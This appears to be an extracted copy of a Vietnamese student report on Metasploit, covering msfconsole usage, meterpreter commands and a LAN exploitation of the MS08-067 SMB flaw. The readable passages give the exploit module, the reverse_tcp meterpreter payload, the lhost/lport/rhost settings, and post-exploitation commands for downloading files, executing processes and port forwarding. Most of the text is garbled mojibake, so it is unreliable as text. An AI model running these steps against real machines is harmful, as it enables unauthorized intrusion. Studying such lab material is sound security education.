    !"  #$ %&'() *+,-$ +!./01+2 )",-#"31"$ 45!6" +!./"78++9 +!./"!":. ;01<" +!./!6" =>?@AB  Mc lc    "CD+AEF+G!9, H#9IJK#  L#"!    !"#$%%&'#(%)%*+,-#./01%-%2"&34 5%&)6789:;%'#<0.=+*,9>,5?,3@7:"A"BCB %&0.$BDEFBBB9")%*G1%-H#. 789:0IB537#,;J ;K%B",&L%M%2, .N%2,)+,=05%&"O,7"J3P;O,7"J3QR;STUV"A %&" W  7:  #  5?,  3@  7:  %5X  Y0.' 3@7:5 O"&7 B&"33,;)7% 33  Z4D,), $% (,8[D%%2,33\#]]^7,_&9>,%,'0+=60( 1,0.)`D,,D,%#"9,3aP2,+b.;""&9ZB""#+c %& .34Y0I%,)6E:%3B",%d&#J"&D9&3,",# N e39>,#(%#+,/0f+( H7L )6%3B",%d&#J"&DgZdh9#(%#Y,/0#(%) %*J,7"J3+ 8#%2,f%&9%.Y0.'30*%#%& 7,_;#i,5?,+M%0$&Hja%3B",%7"#"Ka>,34&+?, 6Zd]%%" (%,/B+-D,-#%&%"%E%,5#(%0( #2Z4&#k%.#(%%&"f34D,)%l98I%%&"%?,, m+b.  n,>,%,)09=%3B",% %3B",%0IB#(%=gK&#J"&Dh"l%B%,) 9%4,)D,%L+?,+,-6#(%9D, %1530j ^   MI1,H4.gB%,)hj#(%,'W0 !"#$%"A0 IBB%,)&#(%D!\7_ 8%%5X%&"Bm#=#  MI1KI!4Hg%,/%(hj,'W0 !"#$%%E "" 0IB  9K.IIgBb%Nhj,'W0"Af5?,D %&'%"%/,>, k%+m0Bb%N+-Y+8D!\ D,%6111%-+5FD,%.DE.D, %%eY,=07,6+"2#cD,%+5F%,'#9" n,,+"2.G "M#9,)o,W7:7_ 8% %5X ^ (NJK#OH,HKJPH#gB%%&,-D,%hj#(%b0%&!J",K" fb0p,<0%&i+c+5FY+8;<0%&B%%&,- D,% k%+m0q,=0.+L,p,34,-0 ,/%9=3b03k9= %,6 (Y@r;#c33# .;+8s"KK3%3;9B."7 R HI#+gD,-#%&hj+b.,,+"2"7&D,-#%&#cD, %+*,9>,=%!D0;1,789:g3&9,BDh; "A"A !9,9%$#N1%-+*,9>, (Y@r D0 t QHKH9IHgB%hjZ0D,D,%+5F%@,)#9 %E3*:%-m%,/%"1%4%,%E+c+5FY +8;"7&3uB%D,%"A&,'%5"A%&'7,_+ E(Ps%"!;D,%3u+5F%,s %3B",%#(%74 !"#$%#.%N0IB%E%,9=9I += !"#$%G5,lB+o9=D,-#%&Yb#$B9B%%&,-) %*B%,)Yb# $B(%74"&I%, %,/6%3B",% %3B",%d&#J"&D R %3B",%d&#J"&D#(%#E,%&5?7v+-D,-#%&;%IE9 D,%,63&9,%3B",%+5FYb.74%&'Ef5> +*,%5F&;9>,f"#B"%3+5F9,/% H;33# &9.%" %3B",%1%-2.%&'m0/%)+,=0j,0Y;O,7"J3;wZ l%1%-7"J"75X%&%3B",%%2,JJJ#%3B",%"# %3B",%+c+5F%NFB3x%&"[D%&DRy,' !#>,I% 6%3B",%9^Q (%3*2/6=%!.j • ,"7,)%&0.$B%eY63!Bz#.;6./0#3K,9 #3KJ ;DE0IB I%D#(%Y%45?,7v%eY"; 91%-7{+/D,%3, • |ED,%"%&'=J   H#9IJK#R49PHS4T  |,/%&l6%3B",%d&#J"&D  !"#$%&"'$ f%BmN%&"D,/%&l6#(%d&#J"&D "M#j t  QHNj%BmX !I%6%" (D,/%&ld&#J"&D yY9,/%%k%6y0 .}Y%3,", &&.;#(%%$BFB>B; #"701%-+5F3@7: ~,B%%&,-+-B%%&,- 74"AE:"Zdg%3B",%d&#J"&Dh  R49PHS4T4HgD0•,hj "M##(%%$B)%*" 5#"70<0!r;<0!rB,';34D,)+,=0B*,€•, G0IB"%#(%,"7,)%>,#"70;%,)N 30 6d&#J"&D|0•, "M#j • Datastore: +5F,-05#(%#E,%&5?;1 "M##(% ,%&8 \#1%-+5F3@7: ~,#"70%#,/0 +/5X%&. H,%&8+,=0D,-[,/ #E,%&5?#(%%&"f,%&859$.;1+5F3@ 7: ~,#"70D,%. ~,K&#J"&D+-Y +8NY9,+5F%4,) • Event Notification g%E "34D,)hj"BCB B%%&,-+5&+(:%-9>,%e34D,). +(Y!.&,#(%34D,)3u1#(%%WY@r %5XW9>,1 • Framework Managers:1  ,)#  9:  <0!  r   #"70; B0,;333,"3;•" 3  R49PHS4T9IHgD0X3~hj+5FYb.7474%&'D0E D6D0•,;0IB,"7,)+-1%-7_7%4%, •,(%3*D0X3~j • Configuration: 70.%&#(%I0,'%:9%0%$B %E%,9=I0%&l6%,/%&,+A%;‚25%5 #:*6<0%&,+A%.%0(%ND • Sessions:f%E%,X !9=9,)70.%&;D,-#3"% 9,%&"B,'#9,)65?,7v • Logging:#(%%,)N6Zd"BCB,2,%E %,;,;o,#(%%<0%9,"2% ƒ  %0$%f%5?7v (#$")*#(%#.<0C%(, (6%3B",%B*,FB#B9 #"70&,' ,)%6%3B",%+-<0C%9%&0.%#"/0DE1 YB"3"ADE%-<0C%7f,)0+-$B9"%3B",%"##0,%.; 2 1%-2.%&<0C%+-B%,)9%0%$B%E%,6" +,$gD,%hW\N6Zd;,lB%%@,)#D, %Bm#=#,#(%#"700IB#(%B5X%WD, %;9+5FBb"2,&•&+*,9>,%e)+,=0G5B,' ! Bm#=#,)D,%%E%5?749"f+,-#./0.AB5j ,%& (+)#;,%&'W7:J gZ„T•%,";UZZ€h;,%&" <0%&I0;%&,-D,)%*P9N7:D,%#(%,:%-Pe," 7,)J 6Zdi}YB",%3 -.$/'"0 !"#$ P&"@3}YB",%#"703;i#(%YB",%%#0*%@,)# D,%N7:~+b.%%@,)#D,%,,&"3"K%Z&9&Z&9, y%,9%Z%D"&&0B%,"DB ,/6J,UZ 1")%*#%#0*D,%P0$%f"1%-+5F ,-0#(%#.%&2#+($B;#(%:##.%&2#;#(%7!,#2.%" ( #(%#2 … 2)$/g%!,%&ih#(%+"2#c+5FYb.74+-)%*%4%, ."7.+5F4i90IB ~,d&#J"&DN7:#(%""#" #"#(%B."7;1%2"&#(%D/%*,%e#.2b%>,#.6D†%I E;D†%IE1%-k9=#.%N2b%E<0D/% *,(%B."7G1%-+5F,-0+X,!#(%3*b0)+5F %4,)%&')+,=06#.2b(%3*B."7%5?+5F3@ 7:B ,/530j 3!4#52)$/6#7/8 *"#(%,"7,)+,=0D,-;+5F0IB+- 2%4,)%&0. $B%eY9"#.2b *"$/"#(%%$Bb0)+5F3@7:5#(%B."7D,%4 ,)D,%*"$/"%5?+5F9,/% HFBfg33# .h !$/9"#(%Bm#c+($B.1%-Bm#=#H##~ &(W\6%3B",%d&#J"&D;"BCB 2%4,)+5F,=0 Q %WX%&"<0%&D,%(%#"701%-#(%YB",%;#(% B."7DE"2%+(€"2,6#"703uY+8+5F#:+N;W \61N7:;#(%#"70"BCB#~&#(%#"%&'#.2b% +1+5F",#(%#"70YB",% :#""gkh+5FY##(%%Bm%&"%3B",%;+5F 7v+-%4,)?#(%D/%*,N7:j30D,#.2$ 8D,%;1 1%-+5FD-%*,+/#.%IE%E<0#2T%&%:#"".3u Y@rD/%*,9?%&'#.%IE+-1%-+5FD/%*,2,9>,0 H)%*D,% !""""#(%B."7%,'%,/+W\;0IB"l% #(%3%5X%%e%&B&%&3l%1%-#f9,)5%!, 9=#(%%$B%,;I.+5F#c36#$%Dz06%,D"!5?,7v;. Yb#$B9")%*#2%&B&%&2.%&' (>;99$.1DE %- 8B%,) ~,m0/%)%*B%,)Yb#$B 1##(%+(#%3B",%"##0,%.1%-%4,);‚ 25#(%#.<0C%;%IE &0%K"&;D,%;"A%2" "" 2$;" "M#%&%;%3D; ""97f,)0;#(%Bm6D,-# %&Yb#$B(%$;"+2,7,)"#(%DE,#9,)# 23@7: +-D,-#%&Yb#$B9I0# i,D,-#%&Yb#$B+=02.%e %&"#(%$;" 9"0)#(%, !"#$%"A+,-#./0%&"#(%W7:. )%*#3u%&~%#:%,'06fD†%IE(%)%* 8Yb# $B1%-7{+/ 8#I%<0.=D,-#3"%;%IE%e*,789:;%&0.$B 7f,)0%&,BCB;+kB#$%Dz0;9%& (+)# <9,"#W\#>,+5F 30%eB,' !9]; 30 #"70"9,)%#D,/#;%0%$B%E%,;%$#N7L%# gK0‡‡,h9>,Bm#=#  n,"7,)6%3B",% %3B",%0IB"l%,=0X#(%,"7,)+-%4,) W\X !61n,"7,)6%3B",% "M#!,"7,) ] [...]... các thông số cần thiết như lhost, lport, rhost, rport, target Page | 24 lhost: Địa chỉ IP của máy tấn công lport: Cổng trên máy tấn công để lắng nghe kết nối rhost: Địa chỉ IP của máy bị tấn công rport:Cổng dịch vụ trên máy bị tấn công( mặc định trong exploit này là 445) target: Hệ điều hành bị tấn công, mặc định là để tự động tìm >set lhost 192.168.1.12 >set lport 4455 (đặt tùy ý) >set rhost... Chương 2 Quét và Khai thác lỗ hổng với Metasploit 2.1 Mô hình khai thác Hình 2.1: Mô hình khai thác Đây là một tấn công được thực hiện bên trong mạng LAN (Local Area Network) Trong hình 2.1 trên, kẻ tấn công sẽ đứng ở máy 192.168.1.12 sẽ tiến hành tấn công và khai thác lỗi trên máy có địa chỉ 192.168.1.x nào đó trong mạng Trong báo cáo này, nhóm sẽ sử dụng lỗi MS08_067_netapi (CVE-20084250)... cuộc tấn công đến máy nạn nhân Ngoài ra, ta có thể thực hiện các cuộc tấn công leo thang đặc quyền hay truy cập từ xa vào máy nạn nhân 3 Post-Exploitation (Sau khai thác): có thể sử dụng thêm các công cụ khác để thu thập được thêm thông tin từ máy nạn nhân (từ đó có thể lấy được các thông tin mật, hay thông tin về điểm yếu của hệ thống mà máy nạn nhân đang tham gia) 4 Reporting (Báo cáo): sử dụng. .. Các lệnh được sử dụng và quá trình khai thác  Metasploit chế độ dòng lệnh Để vào chế độ dòng lệnh ta gõ: >msfconsole Để sử dụng exploitta dùng lệnh: >use exploit/windows/smb/ms08_067_netapi Tiếp theo ta chọn payload thích hợp để dùng khai thác: >set payload windows/meterpreter/reverse_tcp Ở đây ta chọn payload này thì máy tấn công sẽ ở chế độ chờ, chờ kết nối đến từ máy bị tấn công Tiếp theo... chúng ta có thể sử dụng các công cụ như Discovery scan, Nexpose scan hay một công cụ được cung cấp bởi Metasploit Community để thu được một danh sách các mục tiêu có thể khai thác hay các dịch vụ đang chạy, cổng đang mở để kết nối được đến máy nạn nhân 2 Exploitation (Khai thác): thực hiện khai thác chúng ta có thể sử dụng các module giúp khai thác tự động hay thực hiện khai thác thủ công để khởi... các công cụ hỗ trợ hữu dụng cho quá trình khai thác Msfconsole cung cấp tất cả trong một giao diện, hầu hết các tùy chọn và thiết lập có sẵn trong Framework Chúng ta có thể sử dụng tất cả mọi thứ, bao gồm việc lên kế hoạch cho quá trình khai thác, tải các module hỗ trợ, thực hiện điều tra hay tạo một listener Để bắt đầu làm việc trên giao diện MSFconsole ta có thể sử dụng lệnh cd /opt /metasploit/ msf3/msfconsole,... ] dst : download file • Sử dụng module để xem bảng định tuyến của remote machine: Net Ipconfig Route • portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p rport ] [ -P ] : cho phép tạo port forward giữa host và remote machine • Sử dụng module Process: execute -f file [ -a args ] [ -Hc ] Câu lệnh execute cho phép bạn tạo ra một process mới trên remotemachine và sử dụng process đó để khai... lệnh hay đồ họa Ngoài ra, các giao diện hay tiện ích của Metasploit Framework thường được cung cấp trực tiếp thông qua các hàm chức năng Những tiện ích này có thể rất hữu dụng cho việc phát hiện khai thác các lỗ hổng của hệ thống mà không cần sử dụng toàn bộ Framework Msfconsole đến nay được xem là môi trường làm việc phổ biến nhất của Metasploit Framework vì nó được đánh giá cao Đây là môi... machine • ps: liệt kê những process của remote machine • Sử dụng module Sys: getuid: cho biết username hiện tại của remote machine sysinfo : cho biết thông tin về computername, OS 1.2.5 Các tiện ích hỗ trợ trong Metasploit Page | 17 Metasploit còn hỗ trợ thêm cho người dùng các tiện ích phục vụ tốt cho quá trình thực hiện khai thác Những tiện ích của Metasploit được cung cấp cho người dùng trực tiếp... tham gia) 4 Reporting (Báo cáo): sử dụng các công cụ giúp báo cáo để tạo ra một báo cáo chi tiết các kết quả khai thác được trên máy nạn nhân 5 Cleaning Up (Làm sạch): sử dụng bất kỳ một công cụ Clean Up nào đóng lại tất các cổng được mở ra để thực hiện cho mục tiêu khai thác trên máy nạn nhân (khôi phục lại các cài đặt gốc trên máy nạn nhân) 1.4 Một số công cụ khai thác lỗ hổng bảo mật 1.4.1 . "M#9,)'D/"2"<0%&D,%;%!, #"70%&F;%4,)+,=0%&.%2"#(%,3%& q- k%+m0#9,)%&',"7,)!*%$#$"%1%-3@7:) cd /opt /metasploit/ msf3/msfconsole;9%+5F,"7,) #3@7:530j >.$/!*%$#$" !#=,"7,)"BCB2.%&4%,/B7L);"BCB0